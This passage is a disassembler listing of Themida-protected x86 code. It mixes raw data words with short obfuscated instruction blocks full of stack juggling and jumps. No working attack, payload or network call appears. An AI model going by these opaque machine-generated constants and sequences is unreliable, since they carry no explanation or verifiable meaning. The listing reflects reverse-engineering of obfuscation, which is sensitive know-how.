0CCFFE900h, 0C009FFFFh, 0F1B7840Fh dd 8953FFFFh, 1B6851E3h, 59244A0Ch, 0C17E981h, 0EB81244Ah dd 405C1D04h, 0C381CB01h, 405C1D04h, 0BA525559h, 3C3770C5h dd 3770C1BDh, 184E93Ch, 2D680000h, 8900005Ch, 0D3BA2414h dd 292484F0h, 0E8215AD5h, 81242C8Bh, 4C4h, 0FC00900h, 0FFF59484h dd 1C77FFFFh, 0F6243481h, 596F4F3Eh, 0EAE9h, 4BF5700h dd 0E9000000h, 0FFFFA1A7h, 0E9D428h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E7AF: ; CODE XREF: Themida_:005493EFj sub esi, ebx pop ebx shr esi, 1 sub esi, 0BFBDC85Ch xor ebp, esi jmp loc_552246 ; --------------------------------------------------------------------------- db 54h, 8Fh, 4 dd 24048324h, 241C8B04h, 8104C483h, 4C3h, 4C38300h, 13B268h dd 241C8900h, 42474FFh, 24048F5Bh, 6824248Bh, 6CCAh, 54243C89h dd 4C7815Fh, 55000000h, 4BDh, 0D3F4E900h, 0FF57FFFFh, 5F042474h dd 8B24048Fh, 21E92424h, 5C00001Bh, 0FFC9E5E9h, 4C483FFh dd 515BD801h, 0BA3704B9h, 0F1E9552Fh, 5CFFFFBCh, 24048B66h dd 76BB68h, 24048900h, 3766E9h, 48B6600h, 8B545324h, 0C481241Ch dd 4, 8B685057h, 8B7FE44Dh, 0C4832404h, 0BA524804h, 0FFFFFFFFh dd 0E95AD001h, 2C3Dh, 0E9E68956h, 0FFFFF173h, 65A168h dd 240C8900h, 47536853h, 65E90000h, 57FFFFEDh, 0FFB00BE9h dd 0C8B66FFh, 0F7D0E924h, 0D1F7FFFFh, 0FFA7C9E9h, 80C328FFh dd 4C687FC3h, 8900004Dh, 59E92404h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E8AF: ; CODE XREF: Themida_:0054AE45j xchg ebx, [esp] jmp loc_54DF50 ; --------------------------------------------------------------------------- db 5Eh dd 205h, 24043300h, 33240431h, 0A2E92404h, 0BB000024h dd 3BB2C16h, 0FF7E8FE9h, 242489FFh, 4240483h, 0D12AE95Bh dd 5653FFFFh, 183F7768h, 20B0E977h, 0D5310000h, 93EB815Ah dd 2934A078h, 2692E9EBh, 0CF890000h, 0CA80E959h, 5B54FFFFh dd 4C381h, 68560000h, 4, 3563E9h, 4C48100h, 28000000h dd 43D2CD8h, 4BD46844h, 14890000h, 0F84BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E932: ; CODE XREF: Themida_:00546FC9j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_5464CD ; --------------------------------------------------------------------------- loc_54E940: ; CODE XREF: Themida_:0054D4ABj mov esi, [esp] push 5D29h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push esi jmp loc_551F0B ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 4B9h, 244C0100h, 515E5904h, 2072BB53h, 0D9897552h, 81D9F75Bh dd 1C1h, 0AA8CE900h, 0D028FFFFh, 5A2434FFh, 0FF9796E9h dd 0B3B951FFh, 810FA342h, 2E349FE9h, 3E1C10Bh, 6F59E981h dd 814125C2h, 0BDEF29E9h, 59CE01A8h, 0FFA03DE9h, 4E883FFh dd 8B240487h, 1C892424h, 1F74E924h, 0C310000h, 240C3324h dd 2434875Ch, 2F03E95Ch, 0EB810000h, 17372246h, 0FF8BADE9h dd 240489FFh, 5C31585Bh, 34FF0424h, 0C415E924h, 0C781FFFFh dd 4, 5C42B850h, 0BA520DC2h, 2078010Eh, 835AD029h, 0B0E901C0h dd 81FFFFECh, 0FC010AEEh, 0EC815D3Bh, 4, 68240489h, 43013717h dd 483C2D58h, 0E0C114E1h, 58535005h, 0E993435Bh, 0FFFFA973h dd 0E990B252h, 2506h, 0E924248Bh, 0FFFF804Dh, 4B8h, 92C68100h dd 16D940Ch, 92EE81C6h, 586D940Ch, 0FF9C03E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EA65: ; CODE XREF: Themida_:00549270j sub bl, 38h jmp loc_54DA35 ; --------------------------------------------------------------------------- db 1, 0DEh, 0E9h dd 0FFFFEA1Ch, 0E95BDA01h, 0FFFFF381h, 31243433h, 34332434h dd 24248B24h, 0FF7307E9h, 24248BFFh, 582434FFh, 0FFBB8FE9h dd 55EDD1FFh, 5D241CF7h, 0DB86F581h, 0E901DC43h, 2BA525Dh dd 1000000h, 1D54E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EAB6: ; CODE XREF: Themida_:0054E6F3j mov ebp, [esp] push esi mov esi, esp add esi, 4 jmp loc_5500EB ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 4AADh, 89243489h, 0D39AE9E6h, 0BF57FFFFh dd 24BC3A75h, 0B899C781h, 0FD010731h, 5DEB295Fh, 19EDE9h dd 48F5900h, 24248B24h, 4A30F66h, 91E99C24h, 89FFFF72h dd 0B151241Ch, 45C98035h, 8871C180h, 686659CFh, 89667757h dd 38B5240Ch, 80B9C780h, 0EF2829EFh, 8029C780h, 8B66B9EFh dd 7FE9240Ch, 51FFFFCFh, 1346E9h, 0E9D32900h, 0FFFF8317h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54839B ; --------------------------------------------------------------------------- dw 2D66h dd 5667382h, 29665FC2h, 0F3B8E9D8h, 0BF57FFFFh, 47EF0F97h dd 591BEF81h, 0F7811BD5h, 27D2E219h, 815FFD29h, 37708FC5h dd 81C50139h, 37708FEDh, 65C58139h, 580BCB54h, 0FFFBDDE9h dd 284CB8FFh, 0C28916ACh, 2E70E9h, 0E9E38900h, 0FFFF8639h dd 0ECCEBABFh, 1515E93Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EBAA: ; CODE XREF: Themida_:0054B0C5j xor dword ptr [esp], 3ED70185h pop ebx xor ebx, 3ED70185h pop ebp xor ebx, ebp pop ebp jmp loc_548ACB ; --------------------------------------------------------------------------- db 89h, 0F8h, 5Fh dd 48E2BB53h, 0D8216B05h, 0E9D8F75Bh, 0FFFFAA22h, 0C4BB850h dd 0D00D13E0h, 0E975E511h, 0FFFFDB84h, 2AE95854h, 57FFFFE4h dd 42474FFh, 24048F5Fh, 1489665Ch, 30E1B224h, 148B66D0h dd 1EE95524h, 80FFFFA4h, 0E6803CCEh, 0B7536684h, 0E9FE2879h dd 0FFFF8E5Dh ; --------------------------------------------------------------------------- loc_54EC18: ; CODE XREF: Themida_:0054DBE6j push ecx mov ecx, 3F8A77E8h mov edx, 0E1FEE177h add edx, ecx jmp loc_54CE9A ; --------------------------------------------------------------------------- dw 0C201h dd 0FF7BDAE9h, 0EFCB81FFh, 0F7076D52h, 4FF381D3h, 81902F5Bh dd 4D4464C2h, 81DA0144h, 4D4464EAh, 241C8B44h, 4C481h dd 0D0210000h, 0E924148Bh, 0FFFFD950h, 6824048Bh, 7D37h dd 89243C89h, 4BD55E7h, 1000000h, 0FEE95DEFh db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC7B: ; CODE XREF: Themida_:00550622j mov ecx, esp push eax mov eax, 4DE658A8h sub eax, 5FA40EA0h shl eax, 8 sub eax, 424A07FCh add ecx, eax mov eax, [esp] add esp, 4 push ebx mov ebx, 4 sub ecx, ebx pop ebx xchg ecx, [esp] mov esp, [esp] mov [esp], ecx push esp pop ecx push edi mov edi, 4 add ecx, 0BD7099Ch add ecx, edi sub ecx, 0BD7099Ch pop edi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx pop dword ptr [edi+20h] jmp loc_54A195 ; --------------------------------------------------------------------------- db 0FFh dd 0B9E92C77h, 5FFFFF70h, 0FF79EDE9h, 0B6E959FFh, 53FFFFB4h dd 0E9505B54h, 2Eh, 2404895Ch, 52535854h, 6E0B2CBAh, 70D3BB21h dd 0D30124CCh, 0FF7E42E9h, 241433FFh, 0E9241431h, 0A87h dd 86F3C580h, 0AD7E9F5h, 58B80000h, 252B8F0Ah, 10240952h dd 4085435h, 58C30100h, 4C381h, 1C870000h, 0A2E95C24h dd 33FFFFC6h, 1C31241Ch, 241C3324h, 60E9525Ch, 81FFFFD4h dd 4ECh, 0BE18E900h, 3768FFFFh, 89000047h, 47BF243Ch, 53000539h dd 0C381E389h, 4, 4EB81h, 19E90000h, 0C1FFFFC9h, 6E905E3h dd 8B000020h, 0F662424h, 9C2404B3h, 0FF7003E9h, 7E2C1FFh dd 6890E281h, 0CA814B1Eh, 54E748D4h, 7F56F281h, 0D5896FC3h dd 5A2434FFh, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0FFC353E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EDC1: ; CODE XREF: Themida_:0054C29Dj mov ecx, [esp] add esp, 4 jmp loc_54974B ; --------------------------------------------------------------------------- db 87h dd 248B243Ch, 240C8B24h, 4EC8353h, 83242489h, 5B042404h dd 79F6BF57h, 0BE564FF7h, 69C128E4h, 0E907E6C1h, 0FFFF978Fh dd 0BA241489h, 421112B3h, 20FE9h, 4E98100h, 87000000h dd 895C240Ch, 0BBE9243Ch, 0B9FFFF8Dh, 5CAF1C54h, 8904EC83h dd 0ADBA2414h, 0E9C3D1E4h, 0FFFF8F25h, 53568h, 24048900h dd 0EC835854h, 9179E904h, 8B5DFFFFh, 0C4832434h, 4BB5304h dd 1000000h, 8066E9DEh, 8145FFFFh, 653813E5h, 0FFED8122h dd 0E9FFFFFFh, 3389h, 8904EC83h, 0E953240Ch, 0FFFFBAC5h dd 0CE81DEF7h, 34432925h, 146DF681h, 81465903h, 0D4C58EEh dd 0E9F30198h, 0FFFFF41Ah, 0E904EC83h, 0FFFFEAA4h ; --------------------------------------------------------------------------- loc_54EE94: ; CODE XREF: Themida_:00551007j pop edx xor [edi+24h], eax jmp loc_551370 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 6B6E9FB9h, 0D0C18165h, 41372714h, 0FF9C4EE9h, 248B66FFh dd 6EDAE924h, 1C33FFFFh, 241C3124h, 8B241C33h, 88642424h dd 0CAE1E902h, 2966FFFFh, 2D665DEBh, 296668BAh, 0E4F8E9D8h dd 0EC83FFFFh, 240C8904h, 720768h, 242C8900h, 3CBDh, 0E04EE900h dd 0F781FFFFh, 6158555Dh, 4858F781h, 0F9016168h, 0F3BD555Fh dd 8137A32Eh, 4A018EF5h, 1ED8113h, 81000000h, 2F44B4E5h dd 2E5C133h, 0C581DDF7h, 80A410D2h, 0E95DE901h, 0FFFF8058h dd 0C105EDC1h, 0ED8107EDh, 0C73674D3h, 495DE929h, 0D5ABE981h dd 0CA01C8AFh, 2EDAE959h, 0E9AC0000h, 0FFFFF793h, 51C8BE0Fh dd 0C181E189h, 4, 4E981h, 0C870000h, 1CA6E924h, 0BD550000h dd 73AD5891h, 0E9D5F74Dh, 0FFFF8291h, 33E2EB81h, 0F3293388h dd 0FFA386E9h, 0BDFFh, 0E8890000h, 89F8295Dh, 2F4AE9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EF9A: ; CODE XREF: Themida_:00550788j mov [esp], eax push esp pop eax jmp loc_5474F3 ; --------------------------------------------------------------------------- dd 0F701C783h, 1C3AE9DFh, 30AC0000h, 0EC8152D8h, 4, 0B3241C89h dd 0DD885126h, 0FEE9EA88h, 5F000001h, 0E9E78957h, 0FFFFA966h dd 242C8155h, 53D6498h, 98C3815Bh, 89053D64h, 79E95BDAh dd 89FFFF82h, 48E9243Ch, 89000024h, 3A68243Ch, 5F227B76h dd 6A2C781h, 0E94F4BAAh, 0FFFFD273h, 465AD621h, 5E1BF681h dd 0E9520C06h, 14F4h, 6863F281h, 0EA817B60h, 4EF527E7h dd 0FFCFF8E9h, 4C281FFh, 0E9000000h, 17EFh, 8704C783h dd 52E9243Ch db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F03B: ; CODE XREF: Themida_:00548643j add eax, 4 xchg eax, [esp] pop esp and eax, edi pop edi or eax, eax jz loc_55224C push dword ptr [edi+1Ch] mov ecx, [esp] push 2B21h mov [esp], edx mov edx, esp push 3578h mov [esp], edi push 4E7Eh mov [esp], esi mov esi, 70B90325h add esi, 8F46FCDFh jmp loc_54BFD6 ; --------------------------------------------------------------------------- db 0ADh, 81h, 0ECh dd 4, 0BF243C89h, 58FF139Ah, 0D8E9F829h, 68FFFF8Ah, 3FE562Dh dd 0FFD56EE9h, 4BA52FFh, 89000000h, 0C6815AD0h, 3A4E1C30h dd 23E9C601h, 89FFFFE9h, 86BD242Ch, 815B2E1Bh, 0C050B4C5h dd 81E5D161h, 0F9093EEDh, 0D392E94Ah, 0EF81FFFFh, 69D37487h dd 46FC781h, 2C8B5DABh, 4C48324h, 0E9243C87h, 0FFFFA38Ch dd 0C159C821h, 0EB0D06E0h, 0E955A075h, 0FFFFE41Fh, 5645D5F7h dd 7B3114BEh, 0F1EE93Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F106: ; CODE XREF: Themida_:00546007j pop ebx mov ecx, [esp] add esp, 4 pop eax loc_54F111: ; CODE XREF: Themida_:00546A03j push ebx jmp loc_545EBF ; --------------------------------------------------------------------------- loc_54F117: ; CODE XREF: Themida_:0054C942j add esp, 4 jmp loc_55222C ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF6C70h, 4EC81h, 14890000h, 1948BA24h, 0DBE9108Ch dd 0ADFFFFF5h, 2D7DBA52h, 0D0293579h, 1B6D2D5Ah, 0D8297BCCh dd 0FF9BDAE9h, 9ECB81FFh, 50586F15h, 27577E68h, 24048B42h dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 128F6335h, 0E9C3297Bh dd 1666h, 5C240C87h, 68241489h, 487978C4h, 87DAF75Ah, 87D3F7DAh dd 0E3BB53DAh, 31284173h, 0F7E95BDAh, 66FFFF94h, 0E924048Bh dd 0FFFFC686h, 0F095E95Eh, 0F581FFFFh, 0E5335E44h, 55DEB31h dd 178324FCh, 0FC2DD801h, 5B178324h, 0FF8ABEE9h, 1C8B59FFh dd 0E1895124h, 4C181h, 18E90000h, 0B0FFFF71h, 809804F7h dd 84E9D0EBh db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F1E3: ; CODE XREF: Themida_:00547A3Fj inc edx dec edx jmp loc_5493C6 ; --------------------------------------------------------------------------- dw 0F581h dd 43BE7F05h, 565DEF21h, 0F3DF3EBEh, 5EF701FDh, 5984EE81h dd 0FE0147BEh, 5984C681h, 835F47BEh, 48904ECh, 2B824h dd 0C6010000h, 24348758h, 0FF9530E9h, 24048FFFh, 0FFACD5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F229: ; CODE XREF: Themida_:0054E2CFj xchg esi, [esp] pop esp mov [esp], edx xor dword ptr [esp], 497D38CFh pop ebp jmp loc_547F37 ; --------------------------------------------------------------------------- db 0E9h, 52h, 6Bh dd 5053FFFFh, 0C388A8B0h, 14D8E9h, 88C58800h, 0D25FE9EAh dd 5457FFFFh, 9E9505Fh, 81FFFFCAh, 0E71A5BE7h, 55F7810Ah dd 0E90C4478h, 0FFFFA7A5h ; --------------------------------------------------------------------------- loc_54F270: ; CODE XREF: Themida_:00552216j xor eax, esi pop esi sub edi, eax pop eax sub edi, 183D62CAh std push eax push edx push ebp mov ebp, 0A5E1E71h mov edx, ebp jmp loc_547555 ; --------------------------------------------------------------------------- dd 0E924148Bh, 0FFFFB9C0h, 0E930FF66h, 0FFFF6AF8h, 4B9h dd 59CA2900h, 5C241487h, 89243C89h, 0B825E9E7h, 0BD55FFFFh dd 0B6A6211h, 0F4E9D5F7h, 5B000009h, 5BBDE381h, 0F3814A45h dd 84013A1h, 685BDA01h, 238Ch, 0FFBBE0E9h, 0C9F581FFh dd 50395B6Ah, 413030B8h, 9E13E93Dh, 0E959FFFFh, 0FFFFCA78h ; --------------------------------------------------------------------------- loc_54F2F0: ; CODE XREF: Themida_:0054D892j pop eax add bh, dh sub bh, 0E3h sub bh, 51h jmp loc_5513EA ; --------------------------------------------------------------------------- loc_54F2FE: ; CODE XREF: Themida_:00546617j pop ebp push eax mov eax, 43981E26h neg eax add eax, 1 shr eax, 5 or eax, 18FF3350h and eax, 251A504Dh sub eax, 0D2D4B246h add edx, eax pop eax add edx, 695D7813h mov [edi+20h], edx mov edx, [esp] add esp, 4 jmp loc_54A195 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78100h, 87000000h, 535C243Ch, 13DE9h, 0FECC8600h dd 0BCFDE9CCh, 1FB3FFFFh, 0C380DBF6h, 0AAEA80F2h, 0C1E9DA00h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F363: ; CODE XREF: Themida_:0055157Cj push esi push esp pop esi push ecx jmp loc_54724D ; --------------------------------------------------------------------------- dd 4C481h, 5F210000h, 2434FF1Ch, 52241C8Bh, 0BDE9E289h dd 83000024h, 545104C4h, 58E95059h, 81FFFF7Dh, 827D8BC6h dd 5EF201B4h, 8704EA83h, 895C2414h, 0C668243Ch, 89000006h dd 30682414h, 5A2B4971h, 4AAE68h, 24348900h, 7C6637BEh dd 112DE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F3C2: ; CODE XREF: Themida_:0054DDDEj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_54BE07 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0F3h dd 0E9445573h, 2410h, 6E79685Eh, 0C6E90000h, 81FFFFC0h dd 7F08B0EBh, 81C32922h, 7F08B0C3h, 29EB8122h, 0E95D7971h dd 2569h, 58240429h, 9965E940h, 0C87FFFFh, 0D7895C24h dd 8324148Bh, 0F83104C4h, 6B5D685Fh, 0C890000h, 85FDB924h dd 0BE566C80h, 75A8465Fh, 69E9F001h, 81FFFFFDh, 4C2h, 24148700h dd 69F8E95Ch, 0C381FFFFh, 4, 0E904C383h, 0FFFFD838h ; --------------------------------------------------------------------------- loc_54F458: ; CODE XREF: Themida_:0054CA69j mov [esp], eax jmp loc_54994E ; --------------------------------------------------------------------------- loc_54F460: ; CODE XREF: Themida_:0054C180j mov edx, [esp] add esp, 4 push edx mov edx, 25406A0h jmp loc_54BF04 ; --------------------------------------------------------------------------- db 1, 0C1h, 58h dd 4C181h, 0C870000h, 57215C24h, 0E14EE91Ch, 2BBFFFFh dd 1000000h, 80A0E9DEh, 34FFFFFFh, 23685824h, 89000076h dd 6468243Ch, 8900005Eh, 0FCE92424h, 54000028h, 4BD5559h dd 1000000h, 0E9555DE9h, 0FFFFF1DCh, 4C181h, 60E90000h dd 5AFFFF81h, 0FFA16AE9h, 9CB050FFh, 282CC004h, 8B58C200h dd 61E9240Ch, 89FFFF8Dh, 7968241Ch, 5BE3BD00h, 15BDA31h dd 1B67E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F4F2: ; CODE XREF: Themida_:0054C4C5j mov [esp], edx mov edx, 7FDF6115h inc edx shl edx, 6 shl edx, 6 xor edx, 0F6116004h sub ecx, 574205CBh add ecx, edx add ecx, 574205CBh pop edx add ecx, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp or edx, eax shl edx, 1 push esi mov esi, 1 jmp loc_54E199 ; --------------------------------------------------------------------------- db 0FFh, 32h, 0E9h dd 0FFFF6850h, 575FFE01h, 4BFh, 1BC68100h, 1619037h, 1BBA52FEh dd 29619037h, 875F5AD6h, 95C2434h, 9B840FC9h, 50FFFF9Ah dd 405E089h, 0E9000000h, 0FFFF704Ch ; --------------------------------------------------------------------------- loc_54F578: ; CODE XREF: Themida_:0054A6D1j xor ebp, edx pop edx xor ebp, 6B1C4C49h add ebp, 0AAC988E6h add edx, ebp mov ebp, [esp] add esp, 4 add edx, 4 jmp loc_54D971 ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 81h dd 0D9656FF5h, 0F1BE92Ch, 15D0000h, 2434FFF1h, 4C4835Eh dd 2C181h, 0C330000h, 240C3124h, 0E9240C33h, 11A9h, 55240C89h dd 21424BBDh, 0EDD14D68h, 3E5C14Dh, 40CDF581h, 0E989CC7Ah dd 5E9C15Dh, 0B932F181h, 0E1817122h, 3EF05E1Dh, 0E906E9C1h dd 0FFFF8B90h, 242CD366h, 6792E99Ch, 0E956FFFFh, 0FFFFB488h dd 9D1C77FFh, 14D35966h, 7DE99C24h, 68FFFF67h, 6BF0h, 81241489h dd 4ECh, 242C8900h, 4EC81h, 4890000h, 31FFB824h, 9F2D51B9h dd 525A543Ch, 9B0B9EBAh, 0E9D00108h, 214Fh, 89ECD6BEh dd 5EF529B4h, 34FFE829h, 1B77E924h, 0D3F70000h, 0FFE10EE9h dd 57E589FFh, 581588BFh, 78BB536Bh, 1529405h, 241C8BDFh dd 8104C483h, 396A2EE7h, 0D31FE978h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F682: ; CODE XREF: Themida_:00546CECj add edi, 633211BCh add edi, 7A586D55h add edi, ecx sub edi, 7A586D55h push eax jmp loc_5510B9 ; --------------------------------------------------------------------------- dword_54F69C dd 0E92434FFh, 0FFFF7C85h, 0E9243489h, 20FCh, 67196DB8h dd 0F7D8F74Ah, 60E805D8h, 47E9014Eh, 54FFFF83h, 40BD5558h dd 0E94AF67Fh, 0FFFF8534h, 4C681h, 0EE810000h, 4, 5C243487h dd 0FFAFCFE9h, 2474FFFFh, 48F5804h, 66645C24h, 0A1E90289h dd 33FFFF66h, 1FE9242Ch, 81FFFF80h, 93844EFh, 42E98100h dd 16B7523h, 42C181F9h, 0FF6B7523h, 525F2434h, 0C281E289h dd 4, 0E904C283h, 0FFFFBE03h, 0BB53575Eh, 159A5346h, 9DCEB81h dd 0DF89A11Fh, 0E9241C8Bh, 0FFFFEF6Fh, 8097F280h, 0D78872F2h dd 0FFD888E9h, 8CEA81FFh, 294C1700h, 1628E9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F756: ; CODE XREF: Themida_:00551A3Dj add dword ptr [esp], 0C9367D8h mov eax, [esp] add esp, 4 push esi mov esi, 2346815h push edi mov edi, 1EBD61C1h and esi, edi mov edi, [esp] add esp, 4 xchg edx, esi xchg esi, edx not esi xchg esi, edx xchg edx, esi and esi, 4FDC1BE1h shr esi, 4 sub esi, 0F84919E6h jmp loc_54FF7A ; --------------------------------------------------------------------------- db 33h dd 15C2414h, 0E99C2404h, 0FFFF65ECh, 1B1DEE81h, 0F7016DEDh dd 4EC835Eh, 83242C89h, 0C8904ECh, 48ED6824h, 81590FC4h dd 0C448EBE9h, 59CD890Fh, 41E9EF01h, 81FFFF6Dh, 5D580CF1h dd 59CD0123h, 2C8BE989h, 4C48124h, 83000000h, 0F18101E9h dd 66FF38DCh, 0FFF0A1E9h, 0E9C6FEFFh, 0FFFFE46Ch ; --------------------------------------------------------------------------- loc_54F7FC: ; CODE XREF: Themida_:0054C920j sub esp, 4 jmp loc_5465F6 ; --------------------------------------------------------------------------- dd 0F028212Ch, 5A662104h, 4C04F000h, 0EC83515Ah, 241C8904h dd 0C0B1A2B3h, 0E980C9FEh, 0B4C18001h, 0D4E980h, 7D79E9D9h dd 7F05FFFFh, 0E9BA5A7Ah, 0FFFFD594h, 0B450665Ch, 66E32805h dd 0EDC38058h, 0E935EB80h, 3D0h, 0C7815F54h, 4, 0FFD69DE9h dd 87E950FFh, 50FFFFB9h, 34149868h, 45E9587Eh db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F86B: ; CODE XREF: Themida_:0054AE25j mov [esp], ecx jmp loc_545D94 ; --------------------------------------------------------------------------- db 55h dd 725D3ABDh, 0B6B7E928h, 6855FFFFh, 6D3Ah, 50242489h dd 4B8h, 7544E900h, 895CFFFFh, 2BA2414h, 55000000h, 0FFBB99E9h dd 5E0C1FFh, 42B49C05h, 58C229EEh, 0FF8943E9h, 0E5B951FFh dd 0BF45A83Fh, 303B54D1h, 0C8BCF31h, 4C48124h, 0C1000000h dd 0C78102EFh, 28EB8B3Eh, 0FF68A2E9h, 0EC835FFFh, 0F70E904h dd 0EAD10000h, 54E9DAF7h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8E7: ; CODE XREF: Themida_:00550FD3j mov [esp], edx mov edx, 5D3A6365h shr edx, 8 xor edx, ebp xor ebp, edx jmp loc_54AC9D ; --------------------------------------------------------------------------- db 0F6h dd 0B60F66E9h, 156866CCh, 0C896669h, 0B60F6624h, 9C5166C8h dd 0FF647FE9h, 0B2268FFh, 14890000h, 50665124h, 0FF900BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F925: ; CODE XREF: Themida_:00546607j xchg edi, [esp] pop esp jmp loc_549847 ; --------------------------------------------------------------------------- dw 15Ah dd 81042474h, 9604246Ch, 8B1EEC28h, 0E9562434h, 0FFFF8B29h dd 73A5C281h, 81586D97h, 4EAh, 85CBE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F956: ; CODE XREF: Themida_:0054A9B2j mov [esp], ebx push esp pop ebx jmp loc_54C2C3 ; --------------------------------------------------------------------------- dd 0FF642FE9h, 68C201FFh, 386Dh, 0FF86B0E9h, 60E95CFFh db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F977: ; CODE XREF: Themida_:00550BE3j push dword ptr [esp] jmp loc_54FC48 ; --------------------------------------------------------------------------- db 8Bh dd 0BAE92424h, 0C1FFFF82h, 67E905E9h, 86FFFFC3h, 0FF012474h dd 835B2434h, 686604C4h, 896643D5h, 0FE882414h, 0FFACF6E9h dd 2434FFFFh, 8B2434FFh, 0C4812414h, 4, 81E18951h, 4C1h dd 4E98300h, 5C240C87h, 54241489h, 1C50E9h, 24048900h dd 0AB3B70B8h, 246C812Dh, 865EAD04h, 2444295Ch, 24448104h dd 865EAD04h, 0CD4CE95Ch, 4BBFFFFh, 81000000h, 521D6FC6h dd 0A1EE816Dh, 126E932h, 9F0AE9DEh, 8953FFFFh, 4C381E3h dd 83000000h, 0AFE904C3h, 66FFFF77h, 57240C8Bh, 0E382E954h dd 0C181FFFFh, 6907481h, 8324048Bh, 0C3304C4h, 6D14E924h dd 0C483FFFFh, 6352E904h, 8141FFFFh, 0C74335E9h, 0F3C98155h dd 81171E39h, 5E18E9E9h, 26F1813Bh, 81148702h, 9DFA05E9h dd 59CF0136h, 4474F781h, 0F78169D5h, 51AE4E68h, 895FF901h dd 887BE9CEh, 0C981FFFFh, 7E967AFBh, 4B0DC181h, 0CE316808h dd 17B7E9h, 51C82800h, 0E5C033B5h, 0F57E905h, 0D1BA0000h dd 0E9207316h, 1025h, 1CE7815Dh, 810D1D46h, 6B3CF4C7h dd 59CF8106h, 0C1330E24h, 0EF8106E7h, 0FF4C29B6h, 2AE9FE31h dd 66FFFFB6h db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push edi mov edi, 70275085h or edi, 570061CCh dec edi add edi, 5E4066EDh shr edi, 4 and edi, 49C37864h sub edi, 0DEAB3F94h push ecx mov ecx, edi mov eax, ecx pop ecx pop edi jmp loc_548B7B ; --------------------------------------------------------------------------- db 0ACh, 0E9h, 3Ah dd 31FFFF94h, 4332404h, 4D2C5C24h, 0FFFF7CE9h, 0EC83ADFFh dd 241C8904h, 9BC7E957h, 1C87FFFFh, 2C895C24h, 67E66824h dd 3FE90000h, 4AFFFF8Dh, 33B6EA81h, 0F2811E1Ah, 0CDE14083h dd 0FFBF54E9h, 0FD8955FFh, 34FFE889h, 242C8B24h, 4C481h dd 0C4830000h, 78B2E904h, 481FFFFh, 424h, 0C2815A00h, 4 dd 65D6B951h, 5649242Ch, 0C2293CBEh, 8BF10923h, 0C4812434h dd 4, 0E1C1D9F7h, 7CE98107h, 8108C901h, 3952F1C2h, 81CA0174h dd 3952F1EAh, 14875974h, 0EC835C24h, 24148904h, 8904EC83h dd 44B42404h, 26F968h, 240C8900h, 53E68852h, 11E9F788h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FBBF: ; CODE XREF: Themida_:0054CE86j add esp, 4 push ecx jmp loc_54C4BE ; --------------------------------------------------------------------------- dd 0FF591988h, 1C8B2434h, 4C48124h, 50000000h, 405E089h dd 0E9000000h, 0FFFF6D6Bh, 0E0C1815Fh, 101FD28h, 32BA52F9h dd 421FCE61h, 8105EAC1h, 4785ACAh, 0BE564A33h, 58702556h dd 0F706E6C1h, 7C681D6h, 81EA0803h, 1B2E70EAh, 0E9F20172h dd 0FFFFA733h, 0C380C328h, 0EDEB8035h, 8105C380h, 2ECh dd 4896600h, 80C0B424h, 0E3288AC3h, 0E98AEB80h, 0FFFF8FC9h dd 0E906E9C1h, 0CA8h ; --------------------------------------------------------------------------- loc_54FC48: ; CODE XREF: Themida_:0054F97Aj pop eax add esp, 4 add al, bl pop bx push 742Bh mov [esp], ebx push eax jmp loc_548417 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 0C7BE95Ch, 0CA210000h, 3FEA8159h, 21CBC79Eh, 0C3815AD3h dd 0FE39BFFBh, 16E9DF29h, 2100001Ah, 2434FFE9h, 0E289525Dh dd 4C281h, 0C2830000h, 24148704h, 0E924248Bh, 0FFFFFFA0h ; --------------------------------------------------------------------------- loc_54FCA0: ; CODE XREF: Themida_:0054E4D3j mov ebp, 7B9A086Ah jmp loc_54A6CB ; --------------------------------------------------------------------------- aFpsm db '²ΝfPιm',0 db 2 dup(0), 45h dd 7B16C581h, 0EC8170A1h, 4, 0BF243C89h, 5EDA53B5h, 0C15FFD21h dd 0C58107EDh, 0FF77DBE2h, 2C8BEB01h, 159FE924h, 53590000h dd 0FF77F6E9h db 0FFh ; --------------------------------------------------------------------------- 